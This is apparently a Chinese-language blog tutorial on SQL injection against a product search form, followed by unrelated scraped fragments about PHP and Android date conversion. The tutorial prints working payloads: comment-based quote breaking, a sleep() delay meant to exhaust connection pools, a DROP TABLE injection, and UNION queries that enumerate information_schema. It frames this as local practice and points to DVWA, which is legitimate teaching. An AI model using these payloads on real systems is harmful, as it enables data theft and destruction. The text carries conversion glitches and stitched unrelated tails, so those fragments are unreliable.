web技術發展日新月異,但是徒手拼sql的傳統手藝還是受相當多的開發者親睞。畢竟相比於再去學習一套複雜的orm規則,手拼更說方便,直觀。通常自己拼sql的人,應該是有聽說過sql注入很危險,但是總是心想:我的sql語句這麼簡單,不可能被注入的。
有乙個web介面提供輸入商品名稱,展示對應**,生產日期及生產地資訊。例如輸入hammer展示:
我們跳過了搭建web搜尋介面的過程,直接關注重點部分:sql注入。
如果要實現以上功能,那麼我們大致可以猜到伺服器使用的sql語句如下:
select ? from ? where ? like '%hammer%';
其中?
表示目前我們並不知道具體的表名和欄位名,此sql唯一可以被操縱的就是單引號裡面的輸入內容'%hammer%
。假如我們直接在查詢框裡輸入乙個單引號。即變成
select ? from ? where ? like '%'%';
這樣拼接後造成sql語法錯誤,得不到任何結果,我們需要使用--
來把最後乙個單引號注釋掉。
select ? from ? where ? like '%'; -- %';
*注意第二個單引號是我們自己加的,原有的單引號在句未,已被我們注釋掉啦*。
--
後的是注釋內容(你也可以用#
),這樣你可以得到所有的產品資訊,目前為止,還是沒有嗅到危險的訊號。
緊緊抓住上一步中可以擴充套件的單引號部分。來乙個簡單的延時語句試一試:
select ? from ? where ? like '%hammer%'
and 1 = sleep(2); -- %';
這時查詢會2秒後才返回結果,如果把時間延長,用指令碼多點幾次查詢,一下就能把資料庫的連線池用完。
當然,還有破壞力更強的!
select ? from ? where ? like '%hammer%';
drop table ***x; -- %';
可以直接把錶/資料庫直接刪除掉,至於如何知道引資料庫中有哪一些表(即如何確定上句sql中的***x
)呢?
我們需要知道此資料庫有哪一些表!這樣才能能拿到有用的資訊。
使用union
可以把不同表的內容拼在一起,小試一下:
select ?,?,?,? from ? where ? like '%hammer%' union
(select 1,2,3,4 from dual); -- %';
可以看到我們把假資料1,2,3,4
成功地拼接到搜尋結果中。
mysql系統自帶的資訊都存在information_schema
資料庫中。我們試著在裡面找找有用的資訊。
現在知道了這些資料庫名和表名,所有人都對它為所欲為了!(包括上面執行的drop)。
看著列表一猜就能知道我們目前查的是products表,接下來我們再把products具體的字段也挖出來。
所以,通過上面2步,我們知道了表名和欄位名,那麼查詢api的完整sql應該是(把上面的?
都補全啦):
select name,price,address,updated_at
from products
where name like '%hammer%';
通過不斷重複以上幾個步驟,你就可以通過這乙個小小的入口把資料庫的所有資訊(比如上面發現的user
表 )都翻個遍。
注意:以上都是在自己的機器上嘗試的,千萬不要越界去hack別人家的伺服器!
如果你sql注入想要更深入/系統的學習,可以使用當然你可以自己本地搭建dvwa,或挑戰hackme-sql-injection-challenges。
github存檔:
sql注入基本原理notes.tried.cc
php字串轉為日期格式,日期格式轉為字串
strtotime 函式將任何字串的日期時間描述解析為 unix 時間戳 自 january 1 1970 00 00 00 gmt 起的秒數 列印當前時間 php eol 換行符,相容不同系統 將指定日期轉成時間戳,例如 20190813121721 echo strtotime 20190813...
CString日期如何轉為CTime
假設該 cstring 中的結構為 04d年 02d月 02d日 則 cstring timestr 2000年04月05日 int year,month,day byte tt 5 get year memset tt,0,sizeof tt tt 0 timestr 0 tt 1 timestr...
Android日期格式轉換(將日期轉為週期)
最近自己的專案中遇到乙個需求,需要將標準的日yyyy mm dd轉換為具體的週期,即星期幾。通過查詢資料發現,android中已經為我們提供了強大的日期工具calendar類,我們可以通過該類就能快速實現日期之間的轉化。這裡,我已經將其封裝成了乙個工具類,並提供類漢 英兩種週期格式的轉化 creat...